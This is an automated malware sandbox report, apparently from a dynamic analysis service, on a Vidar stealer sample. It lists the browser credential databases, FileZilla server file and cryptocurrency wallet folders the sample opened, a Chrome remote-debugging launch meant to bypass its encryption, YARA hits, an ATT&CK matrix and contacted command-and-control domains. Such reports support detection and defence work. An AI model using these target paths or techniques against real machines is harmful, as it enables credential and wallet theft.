Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Dry.com	Binary or memory string: WIN_81
Source: Dry.com	Binary or memory string: WIN_XP
Source: Volunteer.0.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Dry.com	Binary or memory string: WIN_XPe
Source: Dry.com	Binary or memory string: WIN_VISTA
Source: Dry.com	Binary or memory string: WIN_7
Source: Dry.com	Binary or memory string: WIN_8

Source: Yara match	File source: 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dry.com PID: 7548, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 10.2.Dry.com.3f90000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.1842774905.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842371095.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842833283.000000000165D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2461862261.0000000003F91000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842430157.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842551934.0000000003F9E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dry.com PID: 7548, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B62263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		10_2_00B62263
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B61C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		10_2_00B61C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	1 DLL Side-Loading	NTDS	27 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 Extra Window Memory Injection	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	111 Masquerading	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9EI7wrGs4K.exe	21%	ReversingLabs
9EI7wrGs4K.exe	18%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\245347\Dry.com	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
toptek.sbs	94.130.188.57	true	false	high
t.me	149.154.167.99	true	false	high
www.google.com	142.250.181.132	true	false	high
bGZEIFIQcYIvivmO.bGZEIFIQcYIvivmO	unknown	unknown	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, EKXT2N.10.dr	false	high
https://google-ohttp-relay-join.fastly-edge.com/(	chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	false	high
https://google-ohttp-relay-join.fastly-edge.com/2	chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4633	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/5	chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7382	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	false	high
https://google-ohttp-relay-join.fastly-edge.com/;	chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/284462263	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/9	chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	9EI7wrGs4K.exe	false	high
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_	9EI7wrGs4K.exe	false	high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037713026.0000335C0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044701167.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044657483.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2038321277.0000335C01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037533554.0000335C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044625142.0000335C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044790316.0000335C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037761626.0000335C00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037675980.0000335C0101C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/	chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	false	high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7714	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/R	chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/chrome/tips/	chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6248	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6929	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5281	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://toptek.sbses	Dry.com, 0000000A.00000002.2461862261.000000000413C000.00000040.00001000.00020000.00000000.sdmp	false	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	false	high
https://issuetracker.google.com/255411748	chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7246	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7369	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7489	chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/?q=	chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore	chrome.exe, 0000000F.00000003.2036290539.0000335C00CC4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-2.corp.google.com/	chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/PATENTS.txt	chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037713026.0000335C0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044701167.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044657483.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2038321277.0000335C01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037533554.0000335C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044625142.0000335C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044790316.0000335C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037761626.0000335C00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037675980.0000335C0101C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 0000000F.00000003.2074915631.0000335C02A98000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	false	high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	false	high
https://t.me/k04aelm0nk3Mozilla/5.0	Dry.com, 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	false	high
